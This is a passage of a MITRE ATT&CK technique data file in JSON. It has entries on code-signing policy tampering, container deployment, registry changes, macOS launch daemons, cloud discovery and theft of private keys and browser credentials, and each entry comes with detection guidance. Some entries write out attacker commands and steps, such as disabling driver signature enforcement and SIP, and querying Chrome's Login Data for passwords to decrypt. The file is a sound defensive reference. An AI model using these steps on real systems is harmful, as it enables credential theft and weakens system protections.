17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021."}],"modified":"2021-04-26T15:41:39.155Z","name":"Code Signing Policy Modification","description":"Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include <code>bcdedit.exe -set TESTSIGNING ON</code> on Windows and <code>csrutil disable</code> on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying <code>g_CiOptions</code> to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as <code>bcdedit.exe -set TESTSIGNING ON</code>.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as <code>HKCU\\Software\\Policies\\Microsoft\\Windows NT\\Driver Signing</code>. Modifications to the code signing policy of a system are likely to be rare.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Process: Process Creation","Command: Command Execution"],"x_mitre_defense_bypassed":["Application control","User Mode Signature Validation","Digital Certificate Validation"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Pawan Kinger, @kingerpawan, Trend Micro","Alfredo Oliveira, Trend Micro","Idan Frimark, Cisco","Center for Threat-Informed Defense (CTID)","Magno Logan, @magnologan, Trend Micro","Ariel Shuper, Cisco","Vishwas Manral, McAfee","Yossi Weizman, Azure Defender Research Team"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92","type":"attack-pattern","created":"2021-03-29T16:51:26.020Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1610","url":"https://attack.mitre.org/techniques/T1610"},{"source_name":"Docker Containers API","url":"https://docs.docker.com/engine/api/v1.41/#tag/Container","description":"Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021."},{"source_name":"Kubernetes Dashboard","url":"https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/","description":"The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021."},{"source_name":"Kubeflow Pipelines","url":"https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/","description":"The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021."},{"source_name":"Aqua Build Images on Hosts","url":"https://blog.aquasec.com/malicious-container-image-docker-container-host","description":"Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021."}],"modified":"2022-04-01T13:14:58.939Z","name":"Deploy Container","description":"Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.\n\nContainers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Container: Container Start","Container: Container Creation","Pod: Pod Creation","Application Log: Application Log Content","Pod: Pod Modification"],"x_mitre_permissions_required":["User","root"],"x_mitre_remote_support":true},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Walker Johnson"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59","type":"attack-pattern","created":"2017-05-31T21:31:17.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1107","url":"https://attack.mitre.org/techniques/T1107"},{"url":"http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/","description":"Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.","source_name":"Trend Micro APT Attack Tools"}],"modified":"2020-01-31T12:36:39.086Z","name":"File Deletion","description":"Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Host forensic analysis"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Itzik Kotler, SafeBreach"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1145","url":"https://attack.mitre.org/techniques/T1145"},{"url":"https://en.wikipedia.org/wiki/Public-key_cryptography","description":"Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.","source_name":"Wikipedia Public Key Crypto"},{"url":"https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf","description":"Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The Masked APT. Retrieved July 5, 2017.","source_name":"Kaspersky Careto"},{"url":"https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/","description":"Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia – Game Over. Retrieved July 5, 2017.","source_name":"Palo Alto Prince of Persia"}],"modified":"2020-02-18T16:51:57.775Z","name":"Private Keys","description":"Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\\Users\\(username)\\.ssh\\</code> on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Bartosz Jerzman","Travis Smith, Tripwire","David Lu, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","type":"attack-pattern","created":"2017-05-31T21:31:23.587Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1112","url":"https://attack.mitre.org/techniques/T1112"},{"external_id":"CAPEC-203","source_name":"capec","url":"https://capec.mitre.org/data/definitions/203.html"},{"url":"https://technet.microsoft.com/en-us/library/cc732643.aspx","description":"Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.","source_name":"Microsoft Reg"},{"url":"https://docs.microsoft.com/sysinternals/downloads/reghide","description":"Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.","source_name":"Microsoft Reghide NOV 2006"},{"url":"https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/","description":"Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.","source_name":"TrendMicro POWELIKS AUG 2014"},{"url":"https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353","description":"Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.","source_name":"SpectorOps Hiding Reg Jul 2017"},{"url":"https://technet.microsoft.com/en-us/library/cc754820.aspx","description":"Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.","source_name":"Microsoft Remote"},{"url":"https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657","description":"Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.","source_name":"Microsoft 4657 APR 2017"},{"url":"https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull","description":"Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.","source_name":"Microsoft RegDelNull July 2016"}],"modified":"2020-08-13T20:02:49.641Z","name":"Modify Registry","description":"Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.\n\nRegistry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Command: Command Execution","Windows Registry: Windows Registry Key Modification","Process: Process Creation","Windows Registry: Windows Registry Key Creation","Windows Registry: Windows Registry Key Deletion"],"x_mitre_defense_bypassed":["Host forensic analysis"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","type":"attack-pattern","created":"2020-01-17T19:23:15.227Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1543.004","url":"https://attack.mitre.org/techniques/T1543/004"},{"external_id":"CAPEC-550","source_name":"capec","url":"https://capec.mitre.org/data/definitions/550.html"},{"external_id":"CAPEC-551","source_name":"capec","url":"https://capec.mitre.org/data/definitions/551.html"},{"url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html","description":"Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.","source_name":"AppleDocs Launch Agent Daemons"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"},{"source_name":"launchd Keywords for plists","url":"https://www.real-world-systems.com/docs/launchdPlist.1.html","description":"Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021."},{"url":"https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf","description":"Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.","source_name":"WireLurker"},{"url":"https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf","description":"Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.","source_name":"OSX Malware Detection"},{"source_name":"LaunchDaemon Hijacking","url":"https://bradleyjkemp.dev/post/launchdaemon-hijacking/","description":"Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021."},{"source_name":"sentinelone macos persist Jun 2019","url":"https://www.sentinelone.com/blog/how-malware-persists-on-macos/","description":"Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."}],"modified":"2021-10-07T22:10:55.653Z","name":"Launch Daemon","description":"Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>. Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the <code>RunAtLoad</code> parameter set to <code>true</code> and the <code>Program</code> parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as <code>usr/local/bin</code> to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor for new files added to the <code>/Library/LaunchDaemons/</code> folder. The System LaunchDaemons are protected by SIP.\n\nSome legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the <code>RunAtLoad</code> parameter set to true, ensure the <code>Program</code> parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as <code>Program</code> and <code>ProgramArguments</code> parameters but one must be present.(Citation: launchd Keywords for plists)\n\n","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Service: Service Modification","Command: Command Execution","File: File Creation","File: File Modification","Process: Process Creation","Service: Service Creation"],"x_mitre_permissions_required":["Administrator"],"x_mitre_effective_permissions":["root","Administrator"]},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Regina Elwell","Praetorian","Isif Ibrahima, Mandiant"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d","created":"2020-08-20T17:51:25.671Z","x_mitre_version":"1.3","external_references":[{"source_name":"mitre-attack","external_id":"T1580","url":"https://attack.mitre.org/techniques/T1580"},{"source_name":"Expel IO Evil in AWS","url":"https://expel.io/blog/finding-evil-in-aws/","description":"A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020."},{"source_name":"AWS Head Bucket","url":"https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html","description":"Amazon Web Services. (n.d.). AWS HeadBucket. Retrieved February 14, 2022."},{"source_name":"AWS Get Public Access Block","url":"https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html","description":"Amazon Web Services. (n.d.). Retrieved May 28, 2021."},{"source_name":"AWS Describe DB Instances","url":"https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html","description":"Amazon Web Services. (n.d.). Retrieved May 28, 2021."},{"source_name":"Amazon Describe Instance","url":"https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html","description":"Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020."},{"source_name":"Amazon Describe Instances API","url":"https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html","description":"Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020."},{"source_name":"Google Compute Instances","url":"https://cloud.google.com/sdk/gcloud/reference/compute/instances/list","description":"Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020."},{"source_name":"Mandiant M-Trends 2020","url":"https://content.fireeye.com/m-trends/rpt-m-trends-2020","description":"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."},{"source_name":"Microsoft AZ CLI","url":"https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest","description":"Microsoft. (n.d.). az ad user. Retrieved October 6, 2019."},{"source_name":"Malwarebytes OSINT Leaky Buckets - Hioureas","url":"https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/","description":"Vasilios Hioureas. (2019, September 13). Hacking with AWS: incorporating leaky buckets into your OSINT workflow. Retrieved February 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request, the <code>HeadBucket</code> API to determine a bucket’s existence along with access permissions of the request sender, or the <code>GetPublicAccessBlock</code> API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code> to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.","modified":"2022-04-20T19:03:12.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Cloud Infrastructure Discovery","x_mitre_detection":"Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users and enumerations from unknown or malicious IP addresses. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Volume: Volume Enumeration","Instance: Instance Metadata","Instance: Instance Enumeration","Snapshot: Snapshot Metadata","Cloud Storage: Cloud Storage Metadata","Cloud Storage: Cloud Storage Enumeration","Volume: Volume Metadata","Snapshot: Snapshot Enumeration"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Benson, Exabeam","Barry Shteiman, Exabeam","Sylvain Gil, Exabeam","RedHuntLabs, @redhuntlabs"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","type":"attack-pattern","created":"2020-02-12T18:57:36.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1555.003","url":"https://attack.mitre.org/techniques/T1555/003"},{"source_name":"Talos Olympic Destroyer 2018","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."},{"source_name":"Microsoft CryptUnprotectData April 2018","url":"https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata","description":"Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019."},{"source_name":"Proofpoint Vega Credential Stealer May 2018","url":"https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign","description":"Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019."},{"source_name":"FireEye HawkEye Malware July 2017","url":"https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html","description":"Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019."},{"source_name":"GitHub Mimikittenz July 2016","url":"https://github.com/putterpanda/mimikittenz","description":"Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019."}],"modified":"2022-02-15T19:29:57.405Z","name":"Credentials from Web Browsers","description":"Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim’s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Identify web browser files that contain credentials such as Google Chrome’s Login Data database file: <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code>. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Access","Process: Process Access","Command: Command Execution","Process: OS API 